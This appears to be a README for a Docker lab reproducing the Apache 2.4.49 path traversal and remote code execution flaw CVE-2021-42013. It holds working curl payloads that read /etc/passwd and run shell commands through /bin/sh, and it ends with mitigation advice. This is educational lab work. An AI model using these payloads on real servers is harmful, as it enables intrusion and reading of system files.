Apache HTTP Server 2.4.49 Path Traversal & Remote Code Execution (CVE-2021-42013)

About the Project

In this project, I demonstrated the CVE-2021-42013 vulnerability in Apache HTTP Server version 2.4.49 in a lab environment I created using Docker.

The goal is to examine how the vulnerability occurs, how it works, and its effects on the system in a controlled environment.

This work is prepared solely for educational and laboratory purposes.

Technologies Used

• Docker
• Ubuntu 22.04
• Apache HTTP Server 2.4.49
• Bash
• curl

Project File Structure

.
├── Dockerfile
├── index.html
└── README.md

Requirements

Before running the project, the following must be installed.

• Docker Desktop
• Git (optional)

Setup

First, download the repository to your computer.

git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git

Navigate into the folder.

cd apache-cve-2021-42013-lab

Build the Docker image.

docker build -t apache-2.4.49-src .

Start the container.

docker run -d -p 8081:80 --name apache-src apache-2.4.49-src

Enter the container.

docker exec -it apache-src /bin/bash

Check the Apache version.

/usr/local/apache2/bin/httpd -v

To exit the container:

exit

Checking Apache Modules

You can check whether the CGI module is enabled with the following command.

docker exec -it apache-src /usr/local/apache2/bin/apachectl -M

Enabling the CGI Module

docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf

Then restart Apache.

docker exec -it apache-src /usr/local/apache2/bin/apachectl restart

To disable the CGI module:

docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf

Then restart again.

Testing the Vulnerability

Path Traversal

curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"

Remote Code Execution

curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"

To display more system information:

curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -

Expected Result

After the setup is complete:

• Apache 2.4.49 should run successfully.
• When the CGI module is enabled, the vulnerability can be observed.
• Path Traversal can demonstrate access to system files.
• RCE shows that commands can be executed on the server.

Vulnerability Working Principle

İstemci (cURL)
      │
      ▼
Apache HTTP Server 2.4.49
      │
      ▼
URL Normalization Hatası
      │
      ▼
Path Traversal
      │
      ├──────────────► CGI Kapalı
      │                     │
      │                     ▼
      │             Dosya erişimi mümkün olabilir
      │
      ▼
CGI Aktif
      │
      ▼
/bin/sh çalıştırılabilir
      │
      ▼
Remote Code Execution (RCE)

In order to demonstrate the RCE scenario, the mod_cgi module must be enabled.

Mitigation

To fix this vulnerability, it is recommended to upgrade Apache HTTP Server to version 2.4.51 or later. Additionally, if CGI is not in use, it is recommended to disable it and define appropriate access permissions only for necessary directories.